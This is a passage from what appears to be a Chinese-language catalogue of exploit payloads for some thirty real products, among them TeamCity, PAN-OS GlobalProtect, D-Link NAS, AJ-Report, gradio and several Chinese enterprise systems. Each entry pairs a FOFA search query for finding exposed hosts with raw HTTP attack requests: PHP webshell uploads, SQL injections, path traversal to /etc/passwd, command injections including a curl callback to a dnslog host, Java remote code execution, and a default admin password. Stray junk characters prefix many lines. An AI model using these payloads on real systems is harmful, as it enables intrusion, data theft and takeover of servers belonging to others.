. H( A( k' ]. m% i% q" y2 {FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
' r0 V2 n  W% E4 w3 a( ^第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
3 P: k" q2 H: O# L" XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
' i, s0 B+ Y* T% y$ v1 Y! tAccept-Encoding: gzip, deflate
Connection: close
) P: Z" c4 h' L) k3 T; L% \
6 [+ @, W/ n, c* g' [" L) v* b3 i
- p8 z% Q: y& r& y) m* n& `/ i第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
/ d( I+ K9 y5 V" b8 Z8 }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
$ K( b) ?/ {: dAccept: */*
# I! m& q* p6 m  {Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9

2 P) O( H0 ^# Q* z. h, G$ w$ m
130. Laykefu客服系统任意文件上传
$ ^* U$ v) O7 uFOFA：icon_hash="-334624619"
3 A; [3 O0 m" \* RPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
% P; O& ^( O- q! f! MAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
3 ~; ]+ R  L0 _' T" lUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
6 e8 {' u! |/ NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" Z: m# H! h  A' L+ vCookie: user_name=1; user_id=3
Connection: close
6 D/ p9 G0 M9 C1 R
------WebKitFormBoundary3OCVBiwBVsNuB2kR
5 f) ?& c1 o+ I- yContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
3 U6 H- y6 `0 r4 |- D$ ^------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
# U" S/ I1 c# h6 \1 O8 y/ fhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

5 T; g6 {- P+ F4 a' W132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
9 J$ R  x" \# C2 h! C+ XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 O+ |; H0 Z* m  tAccept: */*
  ]( I' l  Z# w3 w3 u8 ]  EContent-Type: application/json
$ Z+ O$ e$ d" V( \8 f3 EAccept-Encoding: gzip, deflate
8 O% H- U) a0 `8 d, o! d
! F" S0 s, b+ T  _9 Z' Q{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
0 u' M/ f: N3 W: v- [+ A

# T$ r/ q! n* m/ y) Z' ~CVE-2024-27199
/res/../admin/diagnostic.jsp
' o! @  F6 c# e, g& H$ ?/.well-known/acme-challenge/../../admin/diagnostic.jsp
, J# i8 z3 J4 u2 U3 T  X/update/../admin/diagnostic.jsp


" O9 l- k0 y' r5 w& S- J9 YCVE-2024-27198-RCE.py
8 J4 {' i9 G1 e$ x
133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
/ Z5 {* y( }- lHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
! o. B3 f( p0 X6 N$ d- K2 I
% L7 z. o" b& Q- O------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
' ~' R5 {! o' \% q
9 V1 t2 u, t+ P! ]/ }( s" [<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
" ?: @) m, y) Z/ VHost: x.x.x.x
" i* n6 L  H$ O" v: |Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
# i" i$ R) ^6 L) g7 I# MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
* k7 K% @3 Q0 J( k% yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' O3 n( c3 j% EAccept-Encoding: gzip, deflate
: n" }! Z0 O1 g  U7 u, eSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
, ]" L1 b! O% P# ZTe: trailers
) m4 g* Q, Y# }$ hConnection: close
Content-Type: application/x-www-form-urlencoded
- a% F. ]% W7 ?5 w/ [) x; {- u. S; mContent-Length: 263
2 I* }+ `# [1 m  l& h7 ~
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
! q. X, s% L( A! B1 ?CVE-2024-2022
/ l) {' O" ~. e' R, @% ~Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
6 v" X5 X& X( E5 r; s1 ^GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
7 Y* _2 x% s# g: d( i" Z+ K' R$ E% JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
% B" e1 `  T. b8 y$ SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( g7 c4 K; N) C' r, x! R& B; aAccept-Encoding: gzip, deflate
9 v2 j# ^0 u8 MAccept-Language: zh-CN,zh;q=0.9
) y, _2 G$ t/ c: uConnection: close


% c$ L  v, k* ^+ G7 d- Z136. NextChat cors SSRF
CVE-2023-49785
! ?, S3 \6 h& j& r( r7 D6 n: c' aFOFA：title="NextChat"
9 \4 i2 e7 z: \2 K' d0 n' f0 r$ i2 y: hGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
. F- e- F; s; r  V& _  `) q0 h5 T. Z7 wUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
* K1 E9 q0 d- u3 bAccept: */*
9 B) d& t7 G! l7 M  nAccept-Language: en
Accept-Encoding: gzip
0 b! I" h8 N" M# V

1 X; w/ Z5 L2 l: u/ @137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
+ ]* q* Y& L4 T0 DFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Z9 s, K5 ]9 d& K: D# Y( O) [6 i% GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
" U9 N- s( c" {4 }) jConnection: close
2 x: }& J2 a' m9 x1 n% R4 N) }' MCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
. P2 u, s5 ~: _+ B4 ~" n; Z
; i  I$ u2 f$ K* T, V/ a
7 A( L! `8 Z$ i/ f  _138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
1 g6 [8 t% R) s( W/ L) y# H6 `CVE-2024-2621
, C, l- |' w% k# EFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
$ m  ^2 c7 ~& ~' V+ J5 s4 l  I: X. VHost: x.x.x.x
8 v- P# A+ r* t8 }$ Z+ \4 `+ }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
) h/ J+ U# p! Z7 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 y! }: X, X2 X) s& S/ s/ f" ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 v, n2 H' C3 `( _: A- {Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
  X; D6 J3 l' j) h8 c- X1 n

/ @% C( K! l; _* j2 z+ t139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
* Z$ ]' D) a; S! ?- F1 oFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
! H6 T2 Z, P( A5 q, ^GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
( F" x4 l3 b4 W% EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  v2 `( ^, d$ dAccept-Encoding: gzip, deflate, br
( W3 K8 w) c+ U, ^Connection: close
, K  U& W6 D( e, RCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
5 ?# Y# \! u0 j( \, j+ K
4 ]' c" Y4 `& i: p' |' k1 D
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
# [% M, p  L% y4 H+ @FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
, b+ K2 A$ X, y  j$ a3 XGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: l) w: p$ A9 yAccept-Encoding: gzip, deflate, br
4 `( \! M3 W1 t, Z8 iConnection: close
Cookie: authcode=h8g9
5 \6 @+ E6 \7 [) |, `) NUpgrade-Insecure-Requests: 1
2 L6 i, Q1 I: C
. L  d, y- m& A9 q" ]
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
( t6 N( n# z' r. n
1 p! W' D* ]" W( i4 b4 t6 D
, g7 t3 y8 E# I, O7 l2 M1 N& R- ldep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
: h, n* N0 z5 `, w/ N$ q* p# R: r
3 d4 n  ~4 ^; ~8 z8 `: t7 g
9 c3 t3 n+ @! t4 y5 [; t142. CMSV6车辆监控平台系统中存在弱密码
6 x; ?+ A% \  OCVE-2024-29666
; D  t. b9 ]0 i; d, jFOFA：body="/808gps/"
* ]8 F' t- j5 r1 }" hadmin/admin
- B0 @- b, k! b( _6 |143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
6 E8 M, y3 f3 r( DFOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
) r1 u: a$ J$ [5 M2 w  E0 f# V4 {FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
/ A: F: f) m- M4 e5 bUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
Accept-Language: en
# T( q8 q, B  `Accept-Encoding: gzip
6 a9 n6 @* T% u; r

' R+ l9 e6 V/ }* C145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
5 F" t7 O0 A  y9 T. K2 i! LCVE-2024-3400
FOFA：icon_hash="-631559155"
- E9 c0 H4 j2 {GET /global-protect/login.esp HTTP/1.1
+ Z! _- A. h9 JHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
' S  L& r% J2 l; }2 r0 k, X+ J+ _Connection: close
0 H9 I3 S) `( h" J8 JCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
" K- T% Q# I8 o$ vAccept-Encoding: gzip


0 i7 R& f% |3 \% i9 R146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
9 Q% ^; U$ V3 l2 `3 R' q7 iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
6 s, L+ ~8 H- L4 R8 @Connection: close
$ U+ C: v3 B9 e7 r& A8 B7 c- W
6 g9 W% t$ V, `- H+ }
$ w  j. _  s# T4 G* _/ ~& J/ R2 |147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
, u1 K7 H# G3 }+ tGET /webeditor/../../../windows/win.ini HTTP/1.1
: e+ ~$ s7 y& ^1 s8 P. tHost: 127.0.0.1:81
, J& L- i) d9 d9 ^, s. _2 F2 KCache-Control: max-age=0
Connection: close


148. CrushFTP 认证绕过模板注入
CVE-2024-4040
, n! q9 \  f5 ^( g* I% m5 W& DFOFA：body="CrushFTP"
PAYLOAD
. j; I1 Y3 k- N/ o9 d9 }
149. AJ-Report开源数据大屏存在远程命令执行
+ }' p+ o2 i' M! M' |5 N, P- ~8 tFOFA：title="AJ-Report"
$ Q8 k/ t! O  _$ G2 }: }6 j
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
* R$ }. p+ d/ g; j& ?/ b9 d0 KHost: x.x.x.x
" b# {0 J4 n) Q/ q" I; uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
7 }/ @1 {1 o. @Content-Type: application/json;charset=UTF-8
Connection: close
' g- b. J. W2 s" I0 G9 e: `
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
# R; t/ n  \0 l, n
150. AJ-Report 1.4.0 认证绕过与远程代码执行
2 K1 t) o& Q0 H/ J  qFOFA：title="AJ-Report"
  E$ H4 w. [- H2 ^8 ], `POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
% W2 e  b$ A/ F( s* y$ U! o, HHost: x.x.x.x
- ]  ~) _6 M0 Y2 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
! L. |% I& _2 m1 r" m5 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& N: H( Z7 |& |) _7 dAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
5 X$ q; [2 M! K7 ^3 n6 mContent-Type: application/json;charset=UTF-8
Connection: close
) @( r* ]: K: f3 }4 yContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


+ x$ j0 S+ g% @1 h0 _+ ~151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
( l' j6 w: J$ N" iGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
4 X2 e% [& b+ |  Z! [7 X, d
- v! Z; t& x/ @0 X  T
152. Progress Kemp LoadMaster 远程命令执行
, e+ P+ u! H0 ~1 GCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
* M# z1 T$ h! f3 L& IFOFA：body="LoadMaster"
4 x- }; t- V# \: t4 vJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
. f4 u) _# P& I. iHost: x.x.x.x
6 x5 {% W. l: P. b, XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
6 y9 o8 g8 q. d" g' X2 f7 k  q- oConnection: close
Accept: */*
, v3 I. b- X8 }9 x* FAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
  k$ z$ v+ Y8 M; \
/ ~, D# R" T5 L% a" S
/ X  }+ d/ p# L! r2 ^: T153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
( O# s6 d8 p, Q- c6 o第一步，请求/config文件获取componets的id
% E) h0 j8 ~: H; W- D* Y! W2 k4 H( k4 A& phttp://x.x.x.x/config

0 x5 K( X; \, O, d
3 e" T6 |" C% {$ h, |1 B$ U第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
) Q( i6 A3 N9 eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
0 K5 b: \/ M$ J) X1 Y: C5 x- T. fContent-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
; e+ X! a9 m: b" K* c, T
$ P& O/ I  ^9 O4 v+ Z" k2 E5 g{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


" b0 z8 c5 B0 [) v% @第三步访问
. @0 X# V2 j* e, U7 Vhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

% I3 r+ t4 F; T( H7 L4 Y
) r# f0 y8 S# A- }3 N154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
1 ~! w- a1 ^$ VHost: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
3 @. o1 n# A* x, h* b/ c6 uUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
/ r* |  O! j' H; Y3 lContent-Type: application/json
0 a7 w; ?1 y: u( X8 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
! V* Y7 Z7 I1 l0 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
% N( T* x" j  ?5 Y( y- X8 \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

! n% U$ @; W) b
155. 六零导航页 file.php 任意文件上传
  f  P$ J. @2 |& e3 fCVE-2024-34982
6 U- D8 M& u  s( f. D& gFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
, x0 G9 B, D0 F, B9 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
2 }5 o# _5 l8 F% a6 \Connection: close
" t* B, {& y3 _' eContent-Length: 232
. p( Z- M0 H! \5 i) tAccept: application/json, text/javascript, */*; q=0.01
3 E, Y' P! z0 L: `Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  A" P8 g6 I" ~3 B1 ~' [Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
5 q9 ?: B+ g- m; N
-----------------------------qttl7vemrsold314zg0f
9 Z: F+ L  y# `6 N3 _' D: W  gContent-Disposition: form-data; name="file"; filename="test.php"
) I) [% k+ p; }9 a& GContent-Type: image/png
. }+ [  }9 H' C2 O
8 Q3 D- ~) J& f3 z& O& G& L0 T) p<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

: n4 O6 I: h. e0 H' j
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
; v" T3 f" A3 @: \6 n0 F+ e$ @
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
5 t0 j! y7 }9 ]3 O·TBK DVR-4104
·TBK DVR-4216
2 {1 X! J2 ?) ?# g* ^+ |7 o* F" o- Ocurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
. Y6 C5 `. O! \
5 C+ h( p9 N. C. Z2 I% J4 S" G
9 }: D1 c9 y' |( NPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
2 a* Y$ I# y+ {; W/ J7 [( {; z* \User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ n$ b- `. O) w, v9 ]3 ^4 zConnection: close
8 D3 [5 l  ?+ @* T5 PContent-Length: 0
+ v' R' M2 m! {6 _6 K9 B# X" _0 }Cookie: uid=1
Accept-Encoding: gzip
' S( E" j3 `3 f7 w( T

157. 美特CRM upload.jsp 任意文件上传
! w  q' H6 G* i- C6 h: u3 ICNVD-2023-06971
8 O) e- M) z! W. `- G/ g$ G2 NFOFA：body="/common/scripts/basic.js"
. Y+ |9 O2 X1 |" G$ B5 O) \% g5 ZPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
: Y- Z) S# z; [) ~7 THost: x.x.x.x
3 W9 m! Z- b, AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
8 u8 Z% k5 T) o0 n8 QContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; U$ U- @1 `  k, |% @! ~5 l6 PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
' R5 F' L0 z7 N6 H: o
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
, y1 L* J; |0 b2 u  D4 @7 n1 oContent-Type: application/octet-stream
- g% w) e* l# W9 [9 a: s* m
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
) ?2 t+ }" B  p1 }1 H: ?Content-Disposition: form-data; name="key"

3 [- H0 i' _& R1 P6 N. s4 jnull
4 S: `  ~4 {; D$ `, X  P- i5 a------WebKitFormBoundary1imovELzPsfzp5dN
. r5 ^/ H6 W3 KContent-Disposition: form-data; name="form"
; d: Y, q) {  K/ C& y
, \/ x' m( y: x' O8 i& Dnull
  Z2 C4 M  u1 Z/ x5 h! y: r; g------WebKitFormBoundary1imovELzPsfzp5dN
' K3 @% S7 P/ ?$ I1 ?; RContent-Disposition: form-data; name="field"

null
% Z+ j3 w. W: V9 m------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
) ]# U/ \) m9 L
4 c7 p: e3 _# e: ?; ]null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
# _$ L/ }2 f( D5 ]
9 M8 I" B) r: W5 nnull
------WebKitFormBoundary1imovELzPsfzp5dN--

& I5 w' ?6 {8 E  y% g& y
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

& c" m! s6 }( ^8 g# B$ k158. Mura-CMS-processAsyncObject存在SQL注入
$ O! }8 B: y, M, d3 L5 RCVE-2024-32640
1 D+ _& D' z. `2 O& q1 E' |+ DFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
+ \4 @' y0 ?4 Q! P/ Q2 b7 zHost: {{Hostname}}
+ I/ l; M* G8 y5 Q1 e8 QContent-Type: application/x-www-form-urlencoded
( M; H" O' j- h% s) r4 M( W
object=displayregion&contenthistid=x\'&previewid=1


159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
' P: s7 Y$ Q$ d7 n9 VPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
, q! ^( C/ A- J: IConnection: close
' _4 U2 W8 N& V6 q! [9 yContent-Type: text/xml; charset=utf-8
